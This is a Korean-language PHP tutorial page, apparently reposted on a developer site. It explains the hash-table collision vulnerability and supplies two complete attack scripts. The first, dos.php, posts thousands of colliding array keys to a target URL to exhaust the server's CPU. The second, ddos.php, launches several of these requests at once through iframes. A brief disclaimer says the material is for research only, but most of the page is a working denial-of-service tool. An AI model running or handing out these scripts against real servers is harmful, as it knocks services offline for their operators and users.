>백엔드 개발 >PHP 튜토리얼 >DDoS 공격을 수행하기 위해 해시 충돌 취약점을 이용하는 PHP의 방법 분석_php 기술

DDoS 공격을 수행하기 위해 해시 충돌 취약점을 이용하는 PHP의 방법 분석_php 기술

WBOY
WBOY원래의
2016-05-16 20:19:131249검색

이 기사에서는 PHP가 해시 충돌 취약점을 사용하여 DDoS 공격을 수행하는 방법에 대한 분석 예를 제공합니다. 참고할 수 있도록 모든 사람과 공유하세요. 구체적인 분석은 다음과 같습니다.

먼저 주의사항: 본 글의 내용은 연구 및 학습을 위한 내용이므로 불법적인 활동에 사용하지 말아주세요!

앞서 언급했듯이 최근 해시 테이블 충돌 취약점이 노출되었습니다.

공격원리 :

조심스럽게 조합된 배열 매개변수 세트를 대상 서버에 게시함으로써 언어의 하위 계층이 서버에 도달한 후 수신된 배열 매개변수를 처리할 때 이 취약점의 존재로 인해 많은 양의 CPU 소비가 발생하여 결국 서버 자원의 고갈.
화려한 트릭은 필요하지 않습니다. PHP를 사용하여 간단히 구현하고 효과를 확인하고 클릭하기만 하면 됩니다.

파일: dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

파일: ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<&#63;php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php&#63;a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
&#63;> 
</body> 
</html>

이 기사가 모든 사람의 PHP 프로그래밍 설계에 도움이 되기를 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.